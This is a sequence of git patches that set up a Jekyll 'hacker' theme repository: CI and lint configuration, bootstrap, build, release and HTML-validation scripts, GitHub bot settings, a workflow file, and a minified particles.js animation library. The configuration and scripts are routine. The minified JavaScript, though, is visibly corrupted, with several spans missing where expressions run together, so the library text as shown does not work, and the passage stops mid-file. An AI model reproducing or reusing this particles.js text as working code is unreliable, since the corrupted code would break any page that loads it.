100644 index 00000000000..a871f2a9172 --- /dev/null +++ b/.travis.yml @@ -0,0 +1,6 @@ +language: ruby +cache: bundler +rvm: 2.6 + +install: script/bootstrap +script: script/cibuild From bffe84710a7364119c82e3f8a457e7439c24ca11 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 03:26:57 +0200 Subject: [PATCH 0799/1701] Create .rubocop.yml --- .rubocop.yml | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 .rubocop.yml diff --git a/.rubocop.yml b/.rubocop.yml new file mode 100644 index 00000000000..15c823df623 --- /dev/null +++ b/.rubocop.yml @@ -0,0 +1,11 @@ +inherit_gem: + rubocop-github: + - config/default.yml + +AllCops: + Exclude: + - _site/**/* + - vendor/**/* + +Layout/LineLength: + Enabled: false From baa52913c751f825cc181869d449ba6ecf2ea90e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 03:28:22 +0200 Subject: [PATCH 0800/1701] Create .gitignore --- .gitignore | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000000..822d5aaf017 --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +_site +.sass-cache +Gemfile.lock +*.gem +.jekyll-cache From 4709cf0e5748c0a9c0e3da234c48245449a509f0 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 03:33:07 +0200 Subject: [PATCH 0801/1701] Create bootstrap --- script/bootstrap | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 script/bootstrap diff --git a/script/bootstrap b/script/bootstrap new file mode 100644 index 00000000000..492e5535f18 --- /dev/null +++ b/script/bootstrap @@ -0,0 +1,6 @@ +#!/bin/sh + +set -e + +gem install bundler +bundle install From 78e090566f16c8f8f83d65335dc530c93dff9886 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 03:33:32 +0200 Subject: [PATCH 0802/1701] Create cibuild --- script/cibuild | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 script/cibuild diff --git a/script/cibuild b/script/cibuild new file mode 100644 index 00000000000..308ad64a91b --- /dev/null +++ b/script/cibuild @@ -0,0 +1,9 @@ +#!/bin/sh + +set -e + +bundle exec jekyll build +bundle exec htmlproofer ./_site --check-html --check-sri +bundle exec rubocop -D --config .rubocop.yml +bundle exec script/validate-html +gem build jekyll-theme-hacker.gemspec From 7b45adf7d59bbf3d58d91260853d4566b161494e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 03:33:52 +0200 Subject: [PATCH 0803/1701] Create release --- script/release | 42 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 script/release diff --git a/script/release b/script/release new file mode 100644 index 00000000000..e27c696b440 --- /dev/null +++ b/script/release @@ -0,0 +1,42 @@ +#!/bin/sh +# Tag and push a release. + +set -e + +# Make sure we're in the project root. + +cd $(dirname "$0")/.. + +# Make sure the darn thing works + +bundle update + +# Build a new gem archive. + +rm -rf jekyll-theme-hacker-*.gem +gem build -q jekyll-theme-hacker.gemspec + +# Make sure we're on the master branch. + +(git branch | grep -q 'master') || { + echo "Only release from the master branch." + exit 1 +} + +# Figure out what version we're releasing. + +tag=v`ls jekyll-theme-hacker-*.gem | sed 's/^jekyll-theme-hacker-\(.*\)\.gem$/\1/'` + +# Make sure we haven't released this version before. + +git fetch -t origin + +(git tag -l | grep -q "$tag") && { + echo "Whoops, there's already a '${tag}' tag." + exit 1 +} + +# Tag it and bag it. + +gem push jekyll-theme-hacker-*.gem && git tag "$tag" && + git push origin master && git push origin "$tag" From 092e7f5601b6256ba31b264ffbd62509712fd10a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 03:34:13 +0200 Subject: [PATCH 0804/1701] Create validate-html --- script/validate-html | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 script/validate-html diff --git a/script/validate-html b/script/validate-html new file mode 100644 index 00000000000..43d8fca8945 --- /dev/null +++ b/script/validate-html @@ -0,0 +1,28 @@ +#!/usr/bin/env ruby +# frozen_string_literal: true + +require "w3c_validators" + +def validator(file) + extension = File.extname(file) + if extension == ".html" + W3CValidators::NuValidator.new + elsif extension == ".css" + W3CValidators::CSSValidator.new + end +end + +def validate(file) + puts "Checking #{file}..." + + path = File.expand_path "../_site/#{file}", __dir__ + results = validator(file).validate_file(path) + + return puts "Valid!" if results.errors.empty? + + results.errors.each { |err| puts err.to_s } + exit 1 +end + +validate "index.html" +validate File.join "assets", "css", "style.css" From eaf21c64970d7e95671c90a3a2a14c1a1d49e7c2 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 03:39:02 +0200 Subject: [PATCH 0805/1701] Create stale.yml --- .github/stale.yml | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 .github/stale.yml diff --git a/.github/stale.yml b/.github/stale.yml new file mode 100644 index 00000000000..a1aa17e58ad --- /dev/null +++ b/.github/stale.yml @@ -0,0 +1,27 @@ +# Configuration for probot-stale - https://github.com/probot/stale + +# Number of days of inactivity before an Issue or Pull Request becomes stale +daysUntilStale: 60 + +# Number of days of inactivity before a stale Issue or Pull Request is closed +daysUntilClose: 7 + +# Issues or Pull Requests with these labels will never be considered stale +exemptLabels: + - pinned + - security + +# Label to use when marking as stale +staleLabel: wontfix + +# Comment to post when marking as stale. Set to `false` to disable +markComment: > + This issue has been automatically marked as stale because it has not had + recent activity. It will be closed if no further activity occurs. Thank you + for your contributions. + +# Comment to post when closing a stale Issue or Pull Request. Set to `false` to disable +closeComment: false + +# Limit to only `issues` or `pulls` +# only: issues From 92954c2841d3062e421c61212ac2cc23487c6fc1 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 03:39:30 +0200 Subject: [PATCH 0806/1701] Create settings.yml --- .github/settings.yml | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 .github/settings.yml diff --git a/.github/settings.yml b/.github/settings.yml new file mode 100644 index 00000000000..7c1b11592e1 --- /dev/null +++ b/.github/settings.yml @@ -0,0 +1,31 @@ +# Repository settings set via https://github.com/probot/settings + +repository: + has_issues: true + has_wiki: false + has_projects: false + has_downloads: false + +labels: + - name: help wanted + oldname: help-wanted + color: 0e8a16 + - name: more-information-needed + color: d93f0b + - name: bug + color: b60205 + - name: feature + color: 1d76db + - name: good first issue + color: "5319e7" + +# Not currently implemented by probot/settings, but manually implemented in script/deploy +branch_protection: + restrictions: null + enforce_admins: false + required_status_checks: + strict: true + contexts: + - "script/cibuild" # GitHub Actions CI workflow + required_pull_request_reviews: + require_code_owner_reviews: true From 4772c488b293dde62c997f453e320ef126ac164f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 03:39:54 +0200 Subject: [PATCH 0807/1701] Create no-response.yml --- .github/no-response.yml | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 .github/no-response.yml diff --git a/.github/no-response.yml b/.github/no-response.yml new file mode 100644 index 00000000000..7193eaa3b20 --- /dev/null +++ b/.github/no-response.yml @@ -0,0 +1,13 @@ +# Configuration for probot-no-response - https://github.com/probot/no-response + +# Number of days of inactivity before an Issue is closed for lack of response +daysUntilClose: 14 +# Label requiring a response +responseRequiredLabel: more-information-needed +# Comment to post when closing an Issue for lack of response. Set to `false` to disable +closeComment: > + This issue has been automatically closed because there has been no response + to our request for more information from the original author. With only the + information that is currently in the issue, we don't have enough information + to take action. Please reach out if you have or find the answers we need so + that we can investigate further. From c4c61d7132bca041c13c60b36e471afb46d6de0c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 03:40:30 +0200 Subject: [PATCH 0808/1701] Create config.yml --- .github/config.yml | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 .github/config.yml diff --git a/.github/config.yml b/.github/config.yml new file mode 100644 index 00000000000..cb65f56f35e --- /dev/null +++ b/.github/config.yml @@ -0,0 +1,20 @@ +# Behaviorbot config. See https://github.com/behaviorbot/ for more information. +# Note: Please Don't edit this file directly. +# Edit https://github.com/pages-themes/maintenance-scripts instead. + +# Configuration for update-docs - https://github.com/behaviorbot/update-docs +updateDocsComment: "Thanks for the pull request! If you are making any changes to the user-facing functionality, please be sure to update the documentation in the `README` or `docs/` folder alongside your change. :heart:" + +# Configuration for request-info - https://github.com/behaviorbot/request-info +requestInfoReplyComment: Thanks for this. Do you mind providing a bit more information about what problem you're trying to solve? +requestInfoLabelToAdd: more-information-needed + +# Configuration for new-issue-welcome - https://github.com/behaviorbot/new-issue-welcome +#newIssueWelcomeComment: > +# Welcome! + +# Configuration for new-pr-welcome - https://github.com/behaviorbot/new-pr-welcome +newPRWelcomeComment: Welcome! Congrats on your first pull request to the Hacker theme. If you haven't already, please be sure to check out [the contributing guidelines](https://github.com/pages-themes/hacker/blob/master/docs/CONTRIBUTING.md). + +# Configuration for first-pr-merge - https://github.com/behaviorbot/first-pr-merge +firstPRMergeComment: "Congrats on getting your first pull request to the Hacker theme merged! Without amazing humans like you submitting pull requests, we couldn’t run this project. You rock! :tada:

If you're interested in tackling another bug or feature, take a look at [the open issues](https://github.com/pages-themes/hacker/issues), especially those [labeled `help wanted`](https://github.com/pages-themes/hacker/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22)." From 15e01dcba5bedde6b9f161427e18a30554cd449c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 03:41:00 +0200 Subject: [PATCH 0809/1701] Create CODEOWNERS --- .github/CODEOWNERS | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 .github/CODEOWNERS diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS new file mode 100644 index 00000000000..96a0234ebff --- /dev/null +++ b/.github/CODEOWNERS @@ -0,0 +1,3 @@ +# Require maintainer's :+1: for changes to the .github/ repo-config files +# mainly due to https://github.com/probot/settings privilege escalation +.github/* @pages-themes/maintainers From 61f1fc842cb84b05dcb21815c4c8cd7f234a69a2 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 03:41:39 +0200 Subject: [PATCH 0810/1701] Create ci.yaml --- .github/workflows/ci.yaml | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 .github/workflows/ci.yaml diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml new file mode 100644 index 00000000000..d9249a52545 --- /dev/null +++ b/.github/workflows/ci.yaml @@ -0,0 +1,18 @@ +on: + push: + pull_request: + types: [opened, synchronize] +jobs: + build: + runs-on: ubuntu-latest + name: script/cibuild + steps: + - uses: actions/checkout@v2 + - uses: ruby/setup-ruby@v1 + with: + ruby-version: 2.7 + bundler-cache: true + - name: build + run: script/bootstrap + - name: test + run: script/cibuild From 44ccee935da1fd66ee540f9411459f9acd66b246 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 04:35:59 +0200 Subject: [PATCH 0811/1701] Create particles.min.js --- js/particles.min.js | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 js/particles.min.js diff --git a/js/particles.min.js b/js/particles.min.js new file mode 100644 index 00000000000..1b204b7bd82 --- /dev/null +++ b/js/particles.min.js @@ -0,0 +1,9 @@ +/* ----------------------------------------------- +/* Author : Vincent Garreau - vincentgarreau.com +/* MIT license: http://opensource.org/licenses/MIT +/* Demo / Generator : vincentgarreau.com/particles.js +/* GitHub : github.com/VincentGarreau/particles.js +/* How to use? : Check the GitHub README +/* v2.0.0 +/* ----------------------------------------------- */ +function hexToRgb(e){var a=/^#?([a-f\d])([a-f\d])([a-f\d])$/i;e=e.replace(a,function(e,a,t,i){return a+a+t+t+i+i});var t=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e);return t?{r:parseInt(t[1],16),g:parseInt(t[2],16),b:parseInt(t[3],16)}:null}function clamp(e,a,t){return Math.min(Math.max(e,a),t)}function isInArray(e,a){return a.indexOf(e)>-1}var pJS=function(e,a){var t=document.querySelector("#"+e+" > .particles-js-canvas-el");this.pJS={canvas:{el:t,w:t.offsetWidth,h:t.offsetHeight},particles:{number:{value:400,density:{enable:!0,value_area:800}},color:{value:"#fff"},shape:{type:"circle",stroke:{width:0,color:"#ff0000"},polygon:{nb_sides:5},image:{src:"",width:100,height:100}},opacity:{value:1,random:!1,anim:{enable:!1,speed:2,opacity_min:0,sync:!1}},size:{value:20,random:!1,anim:{enable:!1,speed:20,size_min:0,sync:!1}},line_linked:{enable:!0,distance:100,color:"#fff",opacity:1,width:1},move:{enable:!0,speed:2,direction:"none",random:!1,straight:!1,out_mode:"out",bounce:!1,attract:{enable:!1,rotateX:3e3,rotateY:3e3}},array:[]},interactivity:{detect_on:"canvas",events:{onhover:{enable:!0,mode:"grab"},onclick:{enable:!0,mode:"push"},resize:!0},modes:{grab:{distance:100,line_linked:{opacity:1}},bubble:{distance:200,size:80,duration:.4},repulse:{distance:200,duration:.4},push:{particles_nb:4},remove:{particles_nb:2}},mouse:{}},retina_detect:!1,fn:{interact:{},modes:{},vendors:{}},tmp:{}};var i=this.pJS;a&&Object.deepExtend(i,a),i.tmp.obj={size_value:i.particles.size.value,size_anim_speed:i.particles.size.anim.speed,move_speed:i.particles.move.speed,line_linked_distance:i.particles.line_linked.distance,line_linked_width:i.particles.line_linked.width,mode_grab_distance:i.interactivity.modes.grab.distance,mode_bubble_distance:i.interactivity.modes.bubble.distance,mode_bubble_size:i.interactivity.modes.bubble.size,mode_repulse_distance:i.interactivity.modes.repulse.distance},i.fn.retinaInit=function(){i.retina_detect&&window.devicePixelRatio>1?(i.canvas.pxratio=window.devicePixelRatio,i.tmp.retina=!0):(i.canvas.pxratio=1,i.tmp.retina=!1),i.canvas.w=i.canvas.el.offsetWidth*i.canvas.pxratio,i.canvas.h=i.canvas.el.offsetHeight*i.canvas.pxratio,i.particles.size.value=i.tmp.obj.size_value*i.canvas.pxratio,i.particles.size.anim.speed=i.tmp.obj.size_anim_speed*i.canvas.pxratio,i.particles.move.speed=i.tmp.obj.move_speed*i.canvas.pxratio,i.particles.line_linked.distance=i.tmp.obj.line_linked_distance*i.canvas.pxratio,i.interactivity.modes.grab.distance=i.tmp.obj.mode_grab_distance*i.canvas.pxratio,i.interactivity.modes.bubble.distance=i.tmp.obj.mode_bubble_distance*i.canvas.pxratio,i.particles.line_linked.width=i.tmp.obj.line_linked_width*i.canvas.pxratio,i.interactivity.modes.bubble.size=i.tmp.obj.mode_bubble_size*i.canvas.pxratio,i.interactivity.modes.repulse.distance=i.tmp.obj.mode_repulse_distance*i.canvas.pxratio},i.fn.canvasInit=function(){i.canvas.ctx=i.canvas.el.getContext("2d")},i.fn.canvasSize=function(){i.canvas.el.width=i.canvas.w,i.canvas.el.height=i.canvas.h,i&&i.interactivity.events.resize&&window.addEventListener("resize",function(){i.canvas.w=i.canvas.el.offsetWidth,i.canvas.h=i.canvas.el.offsetHeight,i.tmp.retina&&(i.canvas.w*=i.canvas.pxratio,i.canvas.h*=i.canvas.pxratio),i.canvas.el.width=i.canvas.w,i.canvas.el.height=i.canvas.h,i.particles.move.enable||(i.fn.particlesEmpty(),i.fn.particlesCreate(),i.fn.particlesDraw(),i.fn.vendors.densityAutoParticles()),i.fn.vendors.densityAutoParticles()})},i.fn.canvasPaint=function(){i.canvas.ctx.fillRect(0,0,i.canvas.w,i.canvas.h)},i.fn.canvasClear=function(){i.canvas.ctx.clearRect(0,0,i.canvas.w,i.canvas.h)},i.fn.particle=function(e,a,t){if(this.radius=(i.particles.size.random?Math.random():1)*i.particles.size.value,i.particles.size.anim.enable&&(this.size_status=!1,this.vs=i.particles.size.anim.speed/100,i.particles.size.anim.sync||(this.vs=this.vs*Math.random())),this.x=t?t.x:Math.random()*i.canvas.w,this.y=t?t.y:Math.random()*i.canvas.h,this.x>i.canvas.w-2*this.radius?this.x=this.x-this.radius:this.x<2*this.radius&&(this.x=this.x+this.radius),this.y>i.canvas.h-2*this.radius?this.y=this.y-this.radius:this.y<2*this.radius&&(this.y=this.y+this.radius),i.particles.move.bounce&&i.fn.vendors.checkOverlap(this,t),this.color={},"object"==typeof e.value)if(e.value instanceof Array){var s=e.value[Math.floor(Math.random()*i.particles.color.value.length)];this.color.rgb=hexToRgb(s)}else void 0!=e.value.r&&void 0!=e.value.g&&void 0!=e.value.b&&(this.color.rgb={r:e.value.r,g:e.value.g,b:e.value.b}),void 0!=e.value.h&&void 0!=e.value.s&&void 0!=e.value.l&&(this.color.hsl={h:e.value.h,s:e.value.s,l:e.value.l});else"random"==e.value?this.color.rgb={r:Math.floor(256*Math.random())+0,g:Math.floor(256*Math.random())+0,b:Math.floor(256*Math.random())+0}:"string"==typeof e.value&&(this.color=e,this.color.rgb=hexToRgb(this.color.value));this.opacity=(i.particles.opacity.random?Math.random():1)*i.particles.opacity.value,i.particles.opacity.anim.enable&&(this.opacity_status=!1,this.vo=i.particles.opacity.anim.speed/100,i.particles.opacity.anim.sync||(this.vo=this.vo*Math.random()));var n={};switch(i.particles.move.direction){case"top":n={x:0,y:-1};break;case"top-right":n={x:.5,y:-.5};break;case"right":n={x:1,y:-0};break;case"bottom-right":n={x:.5,y:.5};break;case"bottom":n={x:0,y:1};break;case"bottom-left":n={x:-.5,y:1};break;case"left":n={x:-1,y:0};break;case"top-left":n={x:-.5,y:-.5};break;default:n={x:0,y:0}}i.particles.move.straight?(this.vx=n.x,this.vy=n.y,i.particles.move.random&&(this.vx=this.vx*Math.random(),this.vy=this.vy*Math.random())):(this.vx=n.x+Math.random()-.5,this.vy=n.y+Math.random()-.5),this.vx_i=this.vx,this.vy_i=this.vy;var r=i.particles.shape.type;if("object"==typeof r){if(r instanceof Array){var c=r[Math.floor(Math.random()*r.length)];this.shape=c}}else this.shape=r;if("image"==this.shape){var o=i.particles.shape;this.img={src:o.image.src,ratio:o.image.width/o.image.height},this.img.ratio||(this.img.ratio=1),"svg"==i.tmp.img_type&&void 0!=i.tmp.source_svg&&(i.fn.vendors.createSvgImg(this),i.tmp.pushing&&(this.img.loaded=!1))}},i.fn.particle.prototype.draw=function(){function e(){i.canvas.ctx.drawImage(r,a.x-t,a.y-t,2*t,2*t/a.img.ratio)}var a=this;if(void 0!=a.radius_bubble)var t=a.radius_bubble;else var t=a.radius;if(void 0!=a.opacity_bubble)var s=a.opacity_bubble;else var s=a.opacity;if(a.color.rgb)var n="rgba("+a.color.rgb.r+","+a.color.rgb.g+","+a.color.rgb.b+","+s+")";else var n="hsla("+a.color.hsl.h+","+a.color.hsl.s+"%,"+a.color.hsl.l+"%,"+s+")";switch(i.canvas.ctx.fillStyle=n,i.canvas.ctx.beginPath(),a.shape){case"circle":i.canvas.ctx.arc(a.x,a.y,t,0,2*Math.PI,!1);break;case"edge":i.canvas.ctx.rect(a.x-t,a.y-t,2*t,2*t);break;case"triangle":i.fn.vendors.drawShape(i.canvas.ctx,a.x-t,a.y+t/1.66,2*t,3,2);break;case"polygon":i.fn.vendors.drawShape(i.canvas.ctx,a.x-t/(i.particles.shape.polygon.nb_sides/3.5),a.y-t/.76,2.66*t/(i.particles.shape.polygon.nb_sides/3),i.particles.shape.polygon.nb_sides,1);break;case"star":i.fn.vendors.drawShape(i.canvas.ctx,a.x-2*t/(i.particles.shape.polygon.nb_sides/4),a.y-t/1.52,2*t*2.66/(i.particles.shape.polygon.nb_sides/3),i.particles.shape.polygon.nb_sides,2);break;case"image":if("svg"==i.tmp.img_type)var r=a.img.obj;else var r=i.tmp.img_obj;r&&e()}i.canvas.ctx.closePath(),i.particles.shape.stroke.width>0&&(i.canvas.ctx.strokeStyle=i.particles.shape.stroke.color,i.canvas.ctx.lineWidth=i.particles.shape.stroke.width,i.canvas.ctx.stroke()),i.canvas.ctx.fill()},i.fn.particlesCreate=function(){for(var e=0;e=i.particles.opacity.value&&(a.opacity_status=!1),a.opacity+=a.vo):(a.opacity<=i.particles.opacity.anim.opacity_min&&(a.opacity_status=!0),a.opacity-=a.vo),a.opacity<0&&(a.opacity=0)),i.particles.size.anim.enable&&(1==a.size_status?(a.radius>=i.particles.size.value&&(a.size_status=!1),a.radius+=a.vs):(a.radius<=i.particles.size.anim.size_min&&(a.size_status=!0),a.radius-=a.vs),a.radius<0&&(a.radius=0)),"bounce"==i.particles.move.out_mode)var s={x_left:a.radius,x_right:i.canvas.w,y_top:a.radius,y_bottom:i.canvas.h};else var s={x_left:-a.radius,x_right:i.canvas.w+a.radius,y_top:-a.radius,y_bottom:i.canvas.h+a.radius};switch(a.x-a.radius>i.canvas.w?(a.x=s.x_left,a.y=Math.random()*i.canvas.h):a.x+a.radius<0&&(a.x=s.x_right,a.y=Math.random()*i.canvas.h),a.y-a.radius>i.canvas.h?(a.y=s.y_top,a.x=Math.random()*i.canvas.w):a.y+a.radius<0&&(a.y=s.y_bottom,a.x=Math.random()*i.canvas.w),i.particles.move.out_mode){case"bounce":a.x+a.radius>i.canvas.w?a.vx=-a.vx:a.x-a.radius<0&&(a.vx=-a.vx),a.y+a.radius>i.canvas.h?a.vy=-a.vy:a.y-a.radius<0&&(a.vy=-a.vy)}if(isInArray("grab",i.interactivity.events.onhover.mode)&&i.fn.modes.grabParticle(a),(isInArray("bubble",i.interactivity.events.onhover.mode)||isInArray("bubble",i.interactivity.events.onclick.mode))&&i.fn.modes.bubbleParticle(a),(isInArray("repulse",i.interactivity.events.onhover.mode)||isInArray("repulse",i.interactivity.events.onclick.mode))&&i.fn.modes.repulseParticle(a),i.particles.line_linked.enable||i.particles.move.attract.enable)for(var n=e+1;n0){var c=i.particles.line_linked.color_rgb_line;i.canvas.ctx.strokeStyle="rgba("+c.r+","+c.g+","+c.b+","+r+")",i.canvas.ctx.lineWidth=i.particles.line_linked.width,i.canvas.ctx.beginPath(),i.canvas.ctx.moveTo(e.x,e.y),i.canvas.ctx.lineTo(a.x,a.y),i.canvas.ctx.stroke(),i.canvas.ctx.closePath()}}},i.fn.interact.attractParticles=function(e,a){var t=e.x-a.x,s=e.y-a.y,n=Math.sqrt(t*t+s*s);if(n<=i.particles.line_linked.distance){var r=t/(1e3*i.particles.move.attract.rotateX),c=s/(1e3*i.particles.move.attract.rotateY);e.vx-=r,e.vy-=c,a.vx+=r,a.vy+=c}},i.fn.interact.bounceParticles=function(e,a){var t=e.x-a.x,i=e.y-a.y,s=Math.sqrt(t*t+i*i),n=e.radius+a.radius;n>=s&&(e.vx=-e.vx,e.vy=-e.vy,a.vx=-a.vx,a.vy=-a.vy)},i.fn.modes.pushParticles=function(e,a){i.tmp.pushing=!0;for(var t=0;e>t;t++)i.particles.array.push(new i.fn.particle(i.particles.color,i.particles.opacity.value,{x:a?a.pos_x:Math.random()*i.canvas.w,y:a?a.pos_y:Math.random()*i.canvas.h})),t==e-1&&(i.particles.move.enable||i.fn.particlesDraw(),i.tmp.pushing=!1)},i.fn.modes.removeParticles=function(e){i.particles.array.splice(0,e),i.particles.move.enable||i.fn.particlesDraw()},i.fn.modes.bubbleParticle=function(e){function a(){e.opacity_bubble=e.opacity,e.radius_bubble=e.radius}function t(a,t,s,n,c){if(a!=t)if(i.tmp.bubble_duration_end){if(void 0!=s){var o=n-p*(n-a)/i.interactivity.modes.bubble.duration,l=a-o;d=a+l,"size"==c&&(e.radius_bubble=d),"opacity"==c&&(e.opacity_bubble=d)}}else if(r<=i.interactivity.modes.bubble.distance){if(void 0!=s)var v=s;else var v=n;if(v!=a){var d=n-p*(n-a)/i.interactivity.modes.bubble.duration;"size"==c&&(e.radius_bubble=d),"opacity"==c&&(e.opacity_bubble=d)}}else"size"==c&&(e.radius_bubble=void 0),"opacity"==c&&(e.opacity_bubble=void 0)}if(i.interactivity.events.onhover.enable&&isInArray("bubble",i.interactivity.events.onhover.mode)){var s=e.x-i.interactivity.mouse.pos_x,n=e.y-i.interactivity.mouse.pos_y,r=Math.sqrt(s*s+n*n),c=1-r/i.interactivity.modes.bubble.distance;if(r<=i.interactivity.modes.bubble.distance){if(c>=0&&"mousemove"==i.interactivity.status){if(i.interactivity.modes.bubble.size!=i.particles.size.value)if(i.interactivity.modes.bubble.size>i.particles.size.value){var o=e.radius+i.interactivity.modes.bubble.size*c;o>=0&&(e.radius_bubble=o)}else{var l=e.radius-i.interactivity.modes.bubble.size,o=e.radius-l*c;o>0?e.radius_bubble=o:e.radius_bubble=0}if(i.interactivity.modes.bubble.opacity!=i.particles.opacity.value)if(i.interactivity.modes.bubble.opacity>i.particles.opacity.value){var v=i.interactivity.modes.bubble.opacity*c;v>e.opacity&&v<=i.interactivity.modes.bubble.opacity&&(e.opacity_bubble=v)}else{var v=e.opacity-(i.particles.opacity.value-i.interactivity.modes.bubble.opacity)*c;v=i.interactivity.modes.bubble.opacity&&(e.opacity_bubble=v)}}}else a();"mouseleave"==i.interactivity.status&&a()}else if(i.interactivity.events.onclick.enable&&isInArray("bubble",i.interactivity.events.onclick.mode)){if(i.tmp.bubble_clicking){var s=e.x-i.interactivity.mouse.click_pos_x,n=e.y-i.interactivity.mouse.click_pos_y,r=Math.sqrt(s*s+n*n),p=((new Date).getTime()-i.interactivity.mouse.click_time)/1e3;p>i.interactivity.modes.bubble.duration&&(i.tmp.bubble_duration_end=!0),p>2*i.interactivity.modes.bubble.duration&&(i.tmp.bubble_clicking=!1,i.tmp.bubble_duration_end=!1)}i.tmp.bubble_clicking&&(t(i.interactivity.modes.bubble.size,i.particles.size.value,e.radius_bubble,e.radius,"size"),t(i.interactivity.modes.bubble.opacity,i.particles.opacity.value,e.opacity_bubble,e.opacity,"opacity"))}},i.fn.modes.repulseParticle=function(e){function a(){var a=Math.atan2(d,p);if(e.vx=u*Math.cos(a),e.vy=u*Math.sin(a),"bounce"==i.particles.move.out_mode){var t={x:e.x+e.vx,y:e.y+e.vy};t.x+e.radius>i.canvas.w?e.vx=-e.vx:t.x-e.radius<0&&(e.vx=-e.vx),t.y+e.radius>i.canvas.h?e.vy=-e.vy:t.y-e.radius<0&&(e.vy=-e.vy)}}if(i.interactivity.events.onhover.enable&&isInArray("repulse",i.interactivity.events.onhover.mode)&&"mousemove"==i.interactivity.status){var t=e.x-i.interactivity.mouse.pos_x,s=e.y-i.interactivity.mouse.pos_y,n=Math.sqrt(t*t+s*s),r={x:t/n,y:s/n},c=i.interactivity.modes.repulse.distance,o=100,l=clamp(1/c*(-1*Math.pow(n/c,2)+1)*c*o,0,50),v={x:e.x+r.x*l,y:e.y+r.y*l};"bounce"==i.particles.move.out_mode?(v.x-e.radius>0&&v.x+e.radius0&&v.y+e.radius=m&&a()}else 0==i.tmp.repulse_clicking&&(e.vx=e.vx_i,e.vy=e.vy_i)},i.fn.modes.grabParticle=function(e){if(i.interactivity.events.onhover.enable&&"mousemove"==i.interactivity.status){var a=e.x-i.interactivity.mouse.pos_x,t=e.y-i.interactivity.mouse.pos_y,s=Math.sqrt(a*a+t*t);if(s<=i.interactivity.modes.grab.distance){var n=i.interactivity.modes.grab.line_linked.opacity-s/(1/i.interactivity.modes.grab.line_linked.opacity)/i.interactivity.modes.grab.distance;if(n>0){var r=i.particles.line_linked.color_rgb_line;i.canvas.ctx.strokeStyle="rgba("+r.r+","+r.g+","+r.b+","+n+")",i.canvas.ctx.lineWidth=i.particles.line_linked.width,i.canvas.ctx.beginPath(),i.canvas.ctx.moveTo(e.x,e.y),i.canvas.ctx.lineTo(i.interactivity.mouse.pos_x,i.interactivity.mouse.pos_y),i.canvas.ctx.stroke(),i.canvas.ctx.closePath()}}}},i.fn.vendors.eventsListeners=function(){"window"==i.interactivity.detect_on?i.interactivity.el=window:i.interactivity.el=i.canvas.el,(i.interactivity.events.onhover.enable||i.interactivity.events.onclick.enable)&&(i.interactivity.el.addEventListener("mousemove",function(e){if(i.interactivity.el==window)var a=e.clientX,t=e.clientY;else var a=e.offsetX||e.clientX,t=e.offsetY||e.clientY;i.interactivity.mouse.pos_x=a,i.interactivity.mouse.pos_y=t,i.tmp.retina&&(i.interactivity.mouse.pos_x*=i.canvas.pxratio,i.interactivity.mouse.pos_y*=i.canvas.pxratio),i.interactivity.status="mousemove"}),i.interactivity.el.addEventListener("mouseleave",function(e){i.interactivity.mouse.pos_x=null,i.interactivity.mouse.pos_y=null,i.interactivity.status="mouseleave"})),i.interactivity.events.onclick.enable&&i.interactivity.el.addEventListener("click",function(){if(i.interactivity.mouse.click_pos_x=i.interactivity.mouse.pos_x,i.interactivity.mouse.click_pos_y=i.interactivity.mouse.pos_y,i.interactivity.mouse.click_time=(new 